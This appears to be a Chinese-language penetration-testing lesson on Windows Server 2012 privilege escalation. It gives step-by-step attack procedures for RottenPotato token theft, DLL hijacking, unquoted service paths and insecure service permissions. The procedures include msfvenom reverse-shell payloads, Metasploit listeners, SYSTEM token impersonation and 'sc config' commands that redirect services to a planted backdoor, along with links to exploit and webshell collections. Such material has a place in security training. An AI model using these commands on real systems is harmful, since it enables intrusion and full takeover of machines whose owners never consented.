62:权限提升-烂土豆&dll劫持&引号路径&服务权限
本课内容
- 案例1:win2012-烂土豆配合令牌窃取提权-web权限
- 案例2:win2012-DLL劫持提权应用配合MSF-web权限
- 案例3:win2012-不带引号服务路径配合MSF-web,本地权限
- 案例4:win2012-不安全的服务权限配合MSF-本地权限
- 案例5:AlwaysInstallElevated提权&Unattended Installs提权-鸡肋
- 案例6:关于Windows提权知识点总结说明-权限层、系统层、防护层
案例1:win2012-烂土豆配合令牌窃取提权-web权限
单纯令牌窃取:适用于web权限或本地提权
如配合烂土豆提权:适用于web或数据库等权限
RottenPotato(烂土豆)提权的原理可以简述如下:
- 1.欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
- 2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
- 3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。即非服务类用户权限无法窃取成功。
烂土豆比热土豆的优点是:
- 1.100%可靠
- 2.(当时)全版本通杀。
- 3.立即生效,不用像hot potato那样有时候需要等Windows更新才能使用。
总之,我对这个的理解是通过中间人攻击,将COM(NT\\SYSTEM权限)在第二步挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌。
原理参考:https://www.cnblogs.com/backlion/p/9484950.html
烂土豆下载:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功
<1>首先,获取一个web权限
<2>用以下命令生成一个后门,并上传到目标服务器。
msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -f exe -o shell.exe
<3>msf启动监听
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 5577 exploit
<4>执行后门程序
<5>监听到会话,是web普通权限。
<6>下面我们单纯用令牌窃取试试能否提权,失败。所以说,单纯用令牌窃取提权需要有一个高一点的权限,如果单纯是一个web权限,应该是无法成功的。(注意:如果先用令牌窃取失败,再尝试用烂土豆配合令牌窃取,可能会导致后者也失败,必须从头重新开始。所以最好直接使用烂土豆配合令牌窃取,不要测试这一步)
<7>尝试用烂土豆配合令牌窃取提权。
先将烂土豆上传到目标服务器
upload /root/potato.exe C:\Users\Public
然后执行以下命令,成功提权。
cd C:\\ execute -cH -f ./potato.exe use incognito list_tokens -u impersonate_token "NT AUTHORITY\SYSTEM"
案例2:win2012-DLL劫持提权应用配合MSF-web权限
原理:Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
- 1.应用程序加载的目录
- 2.C:\Windows\System32
- 3.C:\Windows\System
- 4.C:\Windows
- 5.当前工作目录Current Working Directory,CWD
- 6.在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功
<1>通过信息收集,发现目标服务器上存在一个第三方软件flashfxp。
<2>本地下载一个相同的软件,使用火绒剑工具进行进程调试分析。由于系统文件和系统目录里的文件我们无法删除修改,因此我们可以重点查看在软件安装目录里的未知文件和数字签名文件。可以选择ssleay32.dll文件进行后续的删除替换。
<3>msf生成后门木马test.dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -f dll >/opt/test.dll
<4>将test.dll上传到目标服务器,修改名字并替换原来的ssleay32.dll。
<5>msf启动监听,服务器运行flashfxp软件程序,成功监听到会话。
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 6677 exploit
<6>配合令牌窃取,成功提权。
use incognito list_tokens -u impersonate_token "NT AUTHORITY\SYSTEM"
补充说明:dll劫持提权及AlwaysInstallElevated等说明
- dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
- AlwaysInstallElevated提权默认禁用配置,利用成功机会很少
案例3:win2012-不带引号服务路径配合MSF-web,本地权限
原理:当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行(如图1)。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
图1:可执行文件的路径被包含在引号中
比如,有一个服务a.exe,他的可执行文件的路径是“C:\Program Files\a.exe”,路径被包含在引号中,则系统会正常解释并执行它,但是如果可执行文件的路径是C:\Program Files\a.exe,未被包含在引号中,则操作系统会执行空格之前的C:\Program,而将空格之后的 Files\a.exe当做参数,导致出错,如下图所示
过程:检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功
<1>执行命令,检测未被引号包含且还有空格的服务路径。
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
<2>使用msf制作一个后门,命名为Program.exe,上传到目标服务器C盘根目录。
<3>启动服务。可以在webshell中或者本地启动服务。但是测试时,webshell中启动不了,所以不带引号服务路径提权方法还是多用于本地提权。
sc start "服务名"
<4>msf监听到会话,提权成功。
案例4:win2012-不安全的服务权限配合MSF-本地权限
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
<1>执行命令,检测当前用户所在组的服务权限(实战中一般都不是administrators组,这里仅做测试用),列出的都是当前用户可以操作的服务。
accesschk.exe -uwcqv "administrators" * AccessChk下载:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
<2>制作后门木马并上传。这里我们用的是案例3中上传的木马。(名字可以随便起)
<3>从第一步列出的服务中选择一个服务,更改其服务路径指向。
比如选择NewServiceName服务,它原来的服务路径指向为C:\test.exe。
执行命令,更改其服务路径指向为我们上传的木马的路径。
sc config "NewServiceName" binpath="C:\Program.exe"
<4>启动服务,监听到会话,提权成功。
sc start "NewServiceName"
案例5:AlwaysInstallElevated提权&Unattended Installs提权-鸡肋
1、AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。这个利用条件太苛刻,基本没法用,鸡肋。
参考:https://xz.aliyun.com/t/2519
2、Unattended Installs提权也不太好用,现实中没遇到过。
参考:https://www.cnblogs.com/zpchcbd/p/12232683.html
案例6:关于Windows提权知识点总结说明-权限层、系统层、防护层
掌握:提权方法对应层面,提权方法对应系统版本,相关文件及后门免杀问题等。
涉及资源:https://github.com/tennc/webshell